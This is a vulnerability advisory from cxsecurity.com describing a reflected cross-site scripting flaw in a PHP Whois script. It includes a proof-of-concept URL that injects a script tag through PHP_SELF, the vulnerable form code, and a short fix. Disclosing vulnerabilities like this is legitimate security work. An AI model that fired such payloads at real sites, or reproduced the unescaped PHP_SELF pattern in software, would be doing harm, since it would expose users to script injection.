PHP Whois Script Cross Site Scripting Vulnerability

2018.07.18
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

[+] Exploit Title ; PHP Whois Script Cross Site Scripting Vulnerability [+] Date : 2018-07-18 [+] Author : 0P3N3R From IRANIAN ETHICAL HACKERS [+] Vendor Homepage : https://www.hscripts.com/scripts/php/whois.php [+] Dork : ... [+] My Site : http://4rtxtnk7o5yt3mfw.onion/ [+] Tested On : windows 10 - kali linux 2.0 [+] Contact : https://telegram.me/WebServer [+] Description : [!]Script is intended to check the availability of domains and also fetches the complete information about your domain or IP. [+] Poc : [!] localhost/phpwhois/index.php/"><script>alert('0P3N3R')</script> [+] Type of vulnerability : [!] Xss -> Reflected - > PHP_SELF [+] Vulnerable Source Code : [!] <form action="<?=$_SERVER['PHP_SELF'];?>"> <p><b><label for="domain">Domain/IP Address:</label></b> <input type="text" name="domain" id="domain" value="<?=$domain;?>"> <input type="submit" value="whois"></p> </form> [+] Security Level : [!] medium [+] Exploitation Technique: [!] Remote [+] Request Method : [!] GET [+] Vulnerability Files : [!] index.php [+] Fix : [!] Restrict user input or replace bad characters [+] We Are : [+] 0P3N3R [+] Ebrahim_Vaker


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top